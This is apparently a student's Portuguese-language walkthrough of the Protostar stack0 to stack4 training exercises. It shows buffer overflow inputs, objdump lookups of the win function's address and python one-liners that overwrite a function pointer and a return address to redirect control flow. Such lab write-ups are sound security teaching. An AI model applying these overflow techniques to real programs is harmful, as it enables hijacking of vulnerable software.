Giovanni Dhery Silva Prieto

TAG Segurança Ofensiva Protostar

stack0:

```
$ ./stack0
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
you have changed the 'modified' variable
$ _
```

Foram postos 65 caracteres, passando o valor do buffer e escrevendo dentro da variável *modified.*

stack1:

```
$ ./stack1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaadcba
you have correctly got the variable to the right value
$
```

Foram postos 64 ‘a’ e depois ‘dcba’ para que depois seja lido ‘abcd’ pelo progama.

stack2:

```
$ GREENIE=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\
> $(echo '\n\r\n\r')
$ ./sack2
-sh: ./sack2: not found
$ ./stack2
you have correctly modified the variable
$ _
```

64 caracteres ‘a’ foram inseridos no valor da variável, concatenando com o valor dado por echo ‘\n\r\n\r’ (sendo \n 0a e \r 0d).

stack3:

```
$ objdump -d stack3
```

Vendo a documentação do objdump, podemos ver que o parâmetro -d faz o disassemble das funções do programa.

```
 8048512:       75 f4                   jne    8048508 <__do_global_ctors_aux+0x
18>
 8048514:       83 c4 04                add    $0x4,%esp
 8048517:       5b                      pop    %ebx
 8048518:       5d                      pop    %ebp
 8048519:       c3                      ret
 804851a:       90                      nop
 804851b:       90                      nop

Disassembly of section .fini:

0804851c <_fini>:
 804851c:       55                      push   %ebp
 804851d:       89 e5                   mov    %esp,%ebp
 804851f:       53                      push   %ebx
 8048520:       83 ec 04                sub    $0x4,%esp
 8048523:       e8 00 00 00 00          call   8048528 <_fini+0xc>
 8048528:       5b                      pop    %ebx
 8048529:       81 c3 54 11 00 00       add    $0x1154,%ebx
 804852f:       e8 6c fe ff ff          call   80483a0 <__do_global_dtors_aux>
 8048534:       59                      pop    %ecx
 8048535:       5b                      pop    %ebx
 8048536:       c9                      leave
 8048537:       c3                      ret
$
```

Para pegar especificamente a função win, é utilizado o grep.

```
$ objdump -d stack3 | grep win
08048424 <win>:
$
```

É descoberto que o ponteiro é 08048424, então o próximo passo é passar esse valor para o programa.

```
$ python -c "print('a'*64 + '\x24\x84\x04\x08')" | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed
$
```

stack4:

```
$ objdump -d ./stack4 | grep win
080483f4 <win>:
$ _
```

O endereço da função win foi identificado para utilizar futuramente.

Pelo código, podemos ver que o programa usa a função gets(), uma função sensível e vulnerável a buffer overflow. Em seguida, foi testado a partir de 64 caracteres quanto o buffer iria aguentar, pois uma mensagem escrita ‘Segmentation fault’ é impressa na tela quando ocorre um overflow.

Após perceber que com 72 dava erro, mas não direcionava para a função, foi testado reduzir 4 caracteres da string. Como também não mostrou resultado, o chute foi de 4 a mais, chegando na função win.

```
$ python -c "print('a'*64 + '\xf4\x83\x04\x08')" | ./stack4
$ python -c "print('a'*72 + '\xf4\x83\x04\x08')" | ./stack4
Segmentation fault
$ python -c "print('a'*68 + '\xf4\x83\x04\x08')" | ./stack4
$ python -c "print('a'*76 + '\xf4\x83\x04\x08')" | ./stack4
code flow successfully changed
Segmentation fault
$ _
```